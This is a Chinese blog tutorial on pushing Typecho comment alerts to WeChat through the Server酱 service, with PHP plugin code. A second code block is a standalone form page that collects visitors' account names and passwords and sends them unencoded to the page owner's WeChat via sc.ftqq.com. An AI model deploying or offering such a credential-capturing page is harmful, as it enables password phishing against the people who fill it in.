用Server酱给typecho做微信信息推送教程代码

server酱需要去sc.ftqq.com申请 并且绑定你的微信 ,然后别人可以直接从网页发消息给你的微信

typecho回复提示推送

/**
 * 回复触发Server酱
 */
Typecho_Plugin::factory('Widget_Feedback')->comment = array('ComWechat', 'sc_send');
class ComWechat {
    public static function sc_send($comment, $post)
    {       
       $sckey = Helper::options()->Serkey; //获取Server酱SCKEY    
       $text = "有人在您的博客发表了评论";
        $desp = "**".$comment['author']."** 在 [「".$post->title."」](".$post->permalink." \"".$post->title."\") 中说到: \n\n > ".$comment['text'];

        $postdata = http_build_query(
            array(
                'text' => $text,
                'desp' => $desp
                )
            );

        $opts = array('http' =>
            array(
                'method'  => 'POST',
                'header'  => 'Content-type: application/x-www-form-urlencoded',
                'content' => $postdata
                )
            );
        $context  = stream_context_create($opts);
        $result = file_get_contents('http://sc.ftqq.com/'.$sckey.'.send', false, $context);
        return  $comment;      
    }
}

这里

$sckey = Helper::options()->Serkey; //获取Server酱SCKEY 

当然,如果没有做有这方面的配置可以直接这样写

$sckey = 'abcdfazktpquaqtqrragz100'; //自己Server酱SCKEY 

这样就可以有人回复评论的时候,自动推送到自己的微信了

这里是回复评论的,如果是其他地方自定义的页面,比如表单之类的,可以这样

<!DOCTYPE html>
<html>
<head>
        <title>吹牛逼</title>
  <meta name="viewport" content="width=device-width, initial-scale=0.88, maximum-scale=1, user-scalable=no">
        <meta http-equiv="X-UA-Compatible" content="IE=Edge">
        <meta charset="UTF-8">
        <meta name="keywords" content="By吹牛逼">
        <meta name="description" content="吹牛逼">
        <!-- Bootstrap -->
        <link rel="shortcut icon" href="//static.hdslb.com/images/favicon.ico">
        <link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.0/css/bootstrap.min.css">
        <style>
            body{font-family: "Microsoft YaHei" ! important;}
            html{background:url(自定义背景图片) no-repeat center top;background-size:cover}body{padding-top:20px;font-size:1pc;background:transparent}h1{font-weight:400;font-size:40px}.panel{background-color:hsla(0,0%,100%,.9)}.margin-base-vertical{margin:40px 0}.margin-base-mini{margin:20px 0}.bs-callout{padding:20px;margin:20px 0;border:1px solid #eee;border-left-width:5px;border-radius:3px}.bs-callout h4{margin-top:0;margin-bottom:5px}.bs-callout p:last-child{margin-bottom:0}.bs-callout code{border-radius:3px}.bs-callout+.bs-callout{margin-top:-5px}.bs-callout-danger{border-left-color:#d9534f}.bs-callout-danger h4{color:#d9534f}.bs-callout-warning{border-left-color:#f0ad4e}.bs-callout-warning h4{color:#f0ad4e}.bs-callout-info{border-left-color:#5bc0de}.bs-callout-info h4{color:#5bc0de}.tile-footer{padding:5px 10px;background:rgba(0,0,0,.1);text-align:left}.tile-content-wrapper{position:relative;overflow:hidden;padding:10px 10px 17px}.tile-content{font-size:35px}.tile-content span{font-size:18px;font-weight:700}.tile-content span,.tile-content-wrapper small{opacity:.7;-moz-opacity:.7;filter:alpha(opacity:70)}.tile-content-wrapper small{display:block;text-align:right;font-size:14px}.tile-header{padding:10px;background:#84b8ff;text-transform:uppercase;font-size:18px}.niebu{padding:10px}
input{margin-top: 3px;}
                </style>
</head>
<body>
        <div class="container">
                <div class="row">
          
            <div class="col-md-6 col-md-offset-3 panel panel-default">
                        <h2 class="text-center">提交系统</h2>
                        <div class="bs-callout bs-callout-info">
                                                <h4 class="help-block text-left">Title</h4>
                                </div>
                                <form action="" method="post">
<span class="label label-info">标题: </span><input type="text" name="text" placeholder="标题" class="form-control">
<span class="label label-info">账  号: </span><input type="text" name="user" placeholder="账号" class="form-control">
<span class="label label-info">密  码:</span><input type="text" name="pass" placeholder="密码" class="form-control">


<br>

<input type="submit" value="提交" class="btn btn-sm btn-success">
                  <br>
                  文本
</form>
        <?php

$text="订单信息:".$_POST["text"];
$desp="用户信息…账号:".$_POST["user"]."密码:".$_POST["pass"];
file_get_contents("https://sc.ftqq.com/替换成你自己的.send?text={$text}&desp={$desp}");
?>
<span style="color: purple;">
<?php
if($_POST)
{
echo "提示:".$text."更新成功!请勿重复提交";
}
?></span>
                        </div>
                        <div class="col-md-3"> <!-- 评论代码放置区 -->        
                        </div>
                </div><!-- //row -->
        </div> <!-- //container -->

</body>
</html>

这里是参考https://ycb.hk/archives/99.html

回头再想想,还有什么可以搭配使用的…… 然后再继续更新……

文章由官网发布,如若转载,请注明出处:https://www.veimoz.com/440
4 条评论
6.5k

发表评论

已有 4 条评论

  1. 88888     Win 10 /    Chrome
    2020-07-25 03:51

    http://suo.im/5JxOiC

  2. 校长不让说     Win 7 /    Chrome
    2020-07-21 22:57

    :乖::乖::乖:

    1. 【管理员】Vv     Win 7 /    Chrome
      2020-07-22 12:49

      @校长不让说

      :黑线::黑线:

  3. yunxing     Win 7 /    Chrome
    2020-07-01 14:44

    学习了。

!